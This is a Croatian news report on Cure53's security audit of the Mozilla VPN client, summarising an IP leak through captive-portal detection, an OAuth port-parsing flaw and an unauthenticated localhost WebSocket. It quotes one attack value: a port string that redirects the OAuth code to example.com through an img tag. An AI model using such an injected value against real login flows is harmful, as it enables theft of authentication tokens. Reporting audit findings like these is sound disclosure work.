Tvrtka Mozilla je najavila završetak neovisnog audita klijentskog softvera za povezivanje na uslugu Mozilla VPN. Tijekom audita analizirana je izolirana klijentska aplikacija napisana korištenjem Qt biblioteke i dostupna za Linux, macOS, Windows, Android i iOS. Rad Mozilla VPN-a podržava više od 400 poslužitelja švedskog VPN davatelja Mullvad, smještenih u više od 30 zemalja. Povezivanje na VPN-uslugu se vrši pomoću WireGuard protokola.
Audit je izvršila tvrtka Cure53, koja je ranije provodila audite projekata kao što su NTPsec, SecureDrop, Cryptocat, F-Droid i Dovecot. Audit je obuhvaćao provjeru izvornih kodova i uključivao provođenje testova kako bi se otkrile moguće ranjivosti (pitanja vezana za kriptografiju nisu razmatrana). Tijekom provjere otkriveno je 16 problema s sigurnošću, od kojih su 8 imala karakter preporuka, 5 je dodijeljeno nisku razinu opasnosti, dvije - srednju, a jedan - visoku.
Pri tome je samo jedan problem srednje razine opasnosti bio klasificiran kao ranjivost, jer je jedino on bio pogodan za iskorištavanje. Spomenuti problem dovodio je do curenja informacija o korištenju VPN-a u kodu za određivanje captive portala zbog slanja nekriptiranih izravnih zahtjeva putem HTTP-a, koji su proslijeđeni izvan VPN tunela i razotkrivali glavnu IP adresu korisnika u slučaju da napadač može kontrolirati tranzitni promet. Problem se rješava isključivanjem načina određivanja captive portala u postavkama.
Druga problem srednje razine opasnosti povezana je s nedostatkom pravilnog čišćenja nenumeričkih vrijednosti u broju porta, što omogućava curenje OAuth autentifikacijskih parametara zamjenom broja porta s nizom poput „1234@example.com“, što dovodi do postavljanja oznake <img src="»http://127.0.0.1:1234@example.com/?code=…»" alt="»»">, koja se obraća example.com umjesto 127.0.0.1.
Treći problem, označen kao opasan, omogućava bilo kojoj lokalnoj aplikaciji bez autentifikacije da pristupi VPN klijentu putem WebSocket-a povezanog na localhost. Kao primjer je prikazano kako bi, prilikom aktivnog VPN klijenta, bilo koja web stranica mogla organizirati stvaranje i slanje snimke zaslona putem generiranja događaja screen_capture. Problem nije klasificiran kao ranjivost, jer je WebSocket korišten samo u internim testnim verzijama i primjena ovog komunikacijskog kanala planirana je za buduće organiziranje interakcije s pregledničkim dodatkom.
Izvor: opennet.ru
